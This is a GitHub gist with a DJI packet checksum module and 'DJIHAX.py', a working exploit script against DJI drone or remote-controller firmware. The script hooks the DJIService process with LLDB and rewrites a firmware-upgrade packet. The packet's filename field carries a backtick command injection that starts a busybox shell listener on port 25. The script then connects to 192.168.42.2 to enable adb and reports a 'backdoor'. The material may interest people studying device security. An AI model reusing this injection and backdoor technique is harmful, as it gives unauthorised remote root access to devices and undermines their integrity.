Skip to content

Instantly share code, notes, and snippets.

@viktoredstrom
Last active August 23, 2022 17:44
Show Gist options
  • Save viktoredstrom/c4e9d900b9db0d2d23a1c4d873a1f4a1 to your computer and use it in GitHub Desktop.
Save viktoredstrom/c4e9d900b9db0d2d23a1c4d873a1f4a1 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# https://github.com/mefistotelis/phantom-firmware-tools/issues/25
# as shared by GlovePuppet
import struct
def calc_pkt55_hdr_checksum(seed, packet, plength):
arr_2A103 = [0x00,0x5E,0xBC,0xE2,0x61,0x3F,0xDD,0x83,0xC2,0x9C,0x7E,0x20,0xA3,0xFD,0x1F,0x41,
0x9D,0xC3,0x21,0x7F,0xFC,0xA2,0x40,0x1E,0x5F,0x01,0xE3,0xBD,0x3E,0x60,0x82,0xDC,
0x23,0x7D,0x9F,0xC1,0x42,0x1C,0xFE,0xA0,0xE1,0xBF,0x5D,0x03,0x80,0xDE,0x3C,0x62,
0xBE,0xE0,0x02,0x5C,0xDF,0x81,0x63,0x3D,0x7C,0x22,0xC0,0x9E,0x1D,0x43,0xA1,0xFF,
0x46,0x18,0xFA,0xA4,0x27,0x79,0x9B,0xC5,0x84,0xDA,0x38,0x66,0xE5,0xBB,0x59,0x07,
0xDB,0x85,0x67,0x39,0xBA,0xE4,0x06,0x58,0x19,0x47,0xA5,0xFB,0x78,0x26,0xC4,0x9A,
0x65,0x3B,0xD9,0x87,0x04,0x5A,0xB8,0xE6,0xA7,0xF9,0x1B,0x45,0xC6,0x98,0x7A,0x24,
0xF8,0xA6,0x44,0x1A,0x99,0xC7,0x25,0x7B,0x3A,0x64,0x86,0xD8,0x5B,0x05,0xE7,0xB9,
0x8C,0xD2,0x30,0x6E,0xED,0xB3,0x51,0x0F,0x4E,0x10,0xF2,0xAC,0x2F,0x71,0x93,0xCD,
0x11,0x4F,0xAD,0xF3,0x70,0x2E,0xCC,0x92,0xD3,0x8D,0x6F,0x31,0xB2,0xEC,0x0E,0x50,
0xAF,0xF1,0x13,0x4D,0xCE,0x90,0x72,0x2C,0x6D,0x33,0xD1,0x8F,0x0C,0x52,0xB0,0xEE,
0x32,0x6C,0x8E,0xD0,0x53,0x0D,0xEF,0xB1,0xF0,0xAE,0x4C,0x12,0x91,0xCF,0x2D,0x73,
0xCA,0x94,0x76,0x28,0xAB,0xF5,0x17,0x49,0x08,0x56,0xB4,0xEA,0x69,0x37,0xD5,0x8B,
0x57,0x09,0xEB,0xB5,0x36,0x68,0x8A,0xD4,0x95,0xCB,0x29,0x77,0xF4,0xAA,0x48,0x16,
0xE9,0xB7,0x55,0x0B,0x88,0xD6,0x34,0x6A,0x2B,0x75,0x97,0xC9,0x4A,0x14,0xF6,0xA8,
0x74,0x2A,0xC8,0x96,0x15,0x4B,0xA9,0xF7,0xB6,0xE8,0x0A,0x54,0xD7,0x89,0x6B,0x35]
chksum = seed
for i in range(0, plength):
chksum = arr_2A103[(((packet[i]) ^ chksum) & 0xFF)];
return chksum
def calc_checksum(packet, plength):
crc = [0x0000, 0x1189, 0x2312, 0x329b, 0x4624, 0x57ad, 0x6536, 0x74bf,
0x8c48, 0x9dc1, 0xaf5a, 0xbed3, 0xca6c, 0xdbe5, 0xe97e, 0xf8f7,
0x1081, 0x0108, 0x3393, 0x221a, 0x56a5, 0x472c, 0x75b7, 0x643e,
0x9cc9, 0x8d40, 0xbfdb, 0xae52, 0xdaed, 0xcb64, 0xf9ff, 0xe876,
0x2102, 0x308b, 0x0210, 0x1399, 0x6726, 0x76af, 0x4434, 0x55bd,
0xad4a, 0xbcc3, 0x8e58, 0x9fd1, 0xeb6e, 0xfae7, 0xc87c, 0xd9f5,
0x3183, 0x200a, 0x1291, 0x0318, 0x77a7, 0x662e, 0x54b5, 0x453c,
0xbdcb, 0xac42, 0x9ed9, 0x8f50, 0xfbef, 0xea66, 0xd8fd, 0xc974,
0x4204, 0x538d, 0x6116, 0x709f, 0x0420, 0x15a9, 0x2732, 0x36bb,
0xce4c, 0xdfc5, 0xed5e, 0xfcd7, 0x8868, 0x99e1, 0xab7a, 0xbaf3,
0x5285, 0x430c, 0x7197, 0x601e, 0x14a1, 0x0528, 0x37b3, 0x263a,
0xdecd, 0xcf44, 0xfddf, 0xec56, 0x98e9, 0x8960, 0xbbfb, 0xaa72,
0x6306, 0x728f, 0x4014, 0x519d, 0x2522, 0x34ab, 0x0630, 0x17b9,
0xef4e, 0xfec7, 0xcc5c, 0xddd5, 0xa96a, 0xb8e3, 0x8a78, 0x9bf1,
0x7387, 0x620e, 0x5095, 0x411c, 0x35a3, 0x242a, 0x16b1, 0x0738,
0xffcf, 0xee46, 0xdcdd, 0xcd54, 0xb9eb, 0xa862, 0x9af9, 0x8b70,
0x8408, 0x9581, 0xa71a, 0xb693, 0xc22c, 0xd3a5, 0xe13e, 0xf0b7,
0x0840, 0x19c9, 0x2b52, 0x3adb, 0x4e64, 0x5fed, 0x6d76, 0x7cff,
0x9489, 0x8500, 0xb79b, 0xa612, 0xd2ad, 0xc324, 0xf1bf, 0xe036,
0x18c1, 0x0948, 0x3bd3, 0x2a5a, 0x5ee5, 0x4f6c, 0x7df7, 0x6c7e,
0xa50a, 0xb483, 0x8618, 0x9791, 0xe32e, 0xf2a7, 0xc03c, 0xd1b5,
0x2942, 0x38cb, 0x0a50, 0x1bd9, 0x6f66, 0x7eef, 0x4c74, 0x5dfd,
0xb58b, 0xa402, 0x9699, 0x8710, 0xf3af, 0xe226, 0xd0bd, 0xc134,
0x39c3, 0x284a, 0x1ad1, 0x0b58, 0x7fe7, 0x6e6e, 0x5cf5, 0x4d7c,
0xc60c, 0xd785, 0xe51e, 0xf497, 0x8028, 0x91a1, 0xa33a, 0xb2b3,
0x4a44, 0x5bcd, 0x6956, 0x78df, 0x0c60, 0x1de9, 0x2f72, 0x3efb,
0xd68d, 0xc704, 0xf59f, 0xe416, 0x90a9, 0x8120, 0xb3bb, 0xa232,
0x5ac5, 0x4b4c, 0x79d7, 0x685e, 0x1ce1, 0x0d68, 0x3ff3, 0x2e7a,
0xe70e, 0xf687, 0xc41c, 0xd595, 0xa12a, 0xb0a3, 0x8238, 0x93b1,
0x6b46, 0x7acf, 0x4854, 0x59dd, 0x2d62, 0x3ceb, 0x0e70, 0x1ff9,
0xf78f, 0xe606, 0xd49d, 0xc514, 0xb1ab, 0xa022, 0x92b9, 0x8330,
0x7bc7, 0x6a4e, 0x58d5, 0x495c, 0x3de3, 0x2c6a, 0x1ef1, 0x0f78]
# Seeds
# v = 0x1012 #Naza M
# v = 0x1013 #Phantom 2
# v = 0x7000 #Naza M V2
v = 0x3692 #P3/P4/Mavic
for i in range(0, plength):
vv = v >> 8
v = vv ^ crc[(((packet[i]) ^ v) & 0xFF)]
return v
#!/usr/bin/python3
import sys
lldb_path = "/Library/Developer/CommandLineTools/Library/PrivateFrameworks/LLDB.framework/Resources/Python3"
sys.path.insert(0, lldb_path)
from pwn import * # yes im serious
import lldb
import djicrc
import time
import _thread
target = None
proc = None
debug = True
def banner():
s = """
===========================
| MSABGANG |
| AND |
| THE DRONE BOIS |
| PRESENTS DJIHAX.py |
==========================="""
print(s)
def meme_encode(s):
r = ""
for i in s:
r += "\\x" + hex((ord(i)))[2:]
return r
def create_target():
lldb.debugger = lldb.SBDebugger.Create()
log.info("Attaching to DJIService")
target = lldb.debugger.CreateTarget("")
lldb.debugger.SetAsync(False)
listener = lldb.SBListener("process_event_listener")
error = lldb.SBError()
lldb.process = target.AttachToProcessWithName(listener, "DJIService", False, error)
if not error.Success():
log.error("Failed attaching to DJIService")
log.info("Attached to DJIService!")
#log.info("{0} images".format(target.GetNumModules()))
t = lldb.process.GetSelectedThread()
return (t, target)
def upload_packet(data, src, target, seq_num):
length = 13 + len(data)
packet = b""
packet += p8(0x55)
packet += p8(length & 0xff)
packet += p8(length >> 8 | 0x4) # MSB of len + version
hdr_crc = djicrc.calc_pkt55_hdr_checksum(0x77, packet, len(packet)) # crc8 sux
packet += p8(hdr_crc)
packet += p8(src) # 2A/2D?
packet += p8(target)
packet += p16(seq_num, endian='little')
packet += p8(0x40) # cmd type
packet += p8(0x0) # cmd set
packet += p8(0x2a) # cmd id
packet += data
packet += p16(djicrc.calc_checksum(packet, len(packet)))
return packet
# might be worth getting src, target as well
def extract_packet_data(data):
seq_nr = u16(data[6:6+2], endian='little')
return seq_nr
def generate_evil_packet(d):
global debug
# "\x01" + some file length?
magic = b"\x01\x80\x05\x00\x00"
seq_nr = extract_packet_data(d)
if debug:
log.info("sequence nr '{0}'".format(hex(seq_nr)))
#adb = "setup_usb_serial.sh & && sleep 120"
#adb = "/system/xbin/busybox touch /data/dji/log/winwin "
adb = "busybox tcpsvd -vE 0.0.0.0 25 ftpd /"
#/system/bin/adb_en.sh NonSecurePrivilege ; adb start-server
# mount -o remount,rw /system
cmd = adb #"sleep 120"
log.info("Doing cmd '{0}'".format(cmd))
cmd = "$(echo -e \"{0}\")".format(meme_encode(cmd))
cmd = "busybox tcpsvd -vE 0.0.0.0 25 sh"
#evil_name = b"wm240_rcAA'`$(echo -e \""
#evil_name += meme_encode(cmd)
#evil_name += b"\")`'.cfg.sig"
evil_name = b"wm240_rcAA'`"
evil_name += cmd.encode()
evil_name += b"`'.cfg.sig"
if debug:
log.info("name '{0}'".format(str(evil_name)))
evil_name = p8((len(evil_name) + 1) & 0xff) + evil_name
packet = upload_packet(magic + evil_name + b"\x00" * 4, 0x2a, 0x2d, seq_nr)
return packet, len(packet)
def dbg():
global debug
if not debug:
return
frame = lldb.process.threads[0].GetFrameAtIndex(0)
stream = lldb.SBStream()
lldb.process.threads[0].GetStatus(stream)
log.info("we are at @ {}".format(frame.addr))
print (stream.GetData())
def enable_adb():
#log.info("Waiting for service to come online...")
r = remote("192.168.42.2", 25)
r.sendline("cd /system/bin; ./adb_en.sh")
time.sleep(2)
log.info("adb enabled!")
r.close()
def adb_shell(arg):
pause()
enable_adb()
#log.info("Hack the planet!")
#p = process("adb devices; adb shell", shell=True)
#p.interactive()
def main():
banner()
global target
global debug
thread, target = create_target()
error = lldb.SBError()
"""
break on "onAck", AKA the first packet during upgrade.
traverse from there to modify packet sent.
"""
def brk(func_name):
brk = target.BreakpointCreateByName(func_name)
if brk.GetNumLocations() <= 0:
log.error("Invalid breakpoint {0}".format(func_name[0:5]))
brk.SetEnabled(True)
return brk
dbg()
# bananer osv
b1 = brk("OnAck(DJICommand const&, unsigned long, std::__1::function<void (std::__1::vector<char, std::__1::allocator<char> > const&)>, std::__1::function<void (int, std::__1::vector<char, std::__1::allocator<char> > const*)>)")
lldb.process.Continue()
log.info("OnAck hit!")
dbg()
b2 = brk("DJICmdIo::WriteData(QByteArray const&)")
lldb.process.Continue()
log.info("WriteData hit!")
dbg()
options = lldb.SBExpressionOptions()
frame = lldb.process.threads[0].GetFrameAtIndex(0)
def run_expr(expr,frame):
return frame.EvaluateExpression(expr).GetValue()
# hardcoded, sue me
iodev_write_addr = int(run_expr("(void *)$rip", frame), 16) + 0x4d
brk_addr = target.BreakpointCreateByAddress(iodev_write_addr)
brk_addr.SetEnabled(True)
lldb.process.Continue()
dbg()
# rsi - buf, rdx - size
frame = lldb.process.threads[0].GetFrameAtIndex(0)
def dump_packet():
rsi = int(run_expr("(void *)$rsi", frame), 16)
return lldb.process.ReadMemory(rsi, 39, error)
dp = dump_packet()
if debug:
print("Original:\n", hexdump(dp))
evil_data, sz = generate_evil_packet(dp)
if debug:
print("Evil:\n", hexdump(evil_data))
buffer_addr = int(run_expr("(void *)malloc(0x1000)", frame),16)
log.info("malloc addr: {0}".format(hex(buffer_addr)))
lldb.process.WriteMemory(buffer_addr, evil_data, error)
if debug:
print("before", frame.registers[0])
frame.registers[0].GetChildMemberWithName("rsi").SetValueFromCString("{0}".format(buffer_addr), error)
frame.registers[0].GetChildMemberWithName("rdx").SetValueFromCString("{0}".format(sz), error)
print("after", frame.registers[0])
rsi = int(run_expr("(void *)$rsi", frame), 16)
dp = lldb.process.ReadMemory(rsi, sz, error)
print(hexdump(dp))
#lldb.process.threads[0].StepOut()
b1.SetEnabled(False)
b2.SetEnabled(False)
brk_addr.SetEnabled(False)
log.info("hax done! wait til update...")
log.info("backdoor at 192.168.42.2:25")
_thread.start_new_thread(adb_shell, ("",))
lldb.process.Continue()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment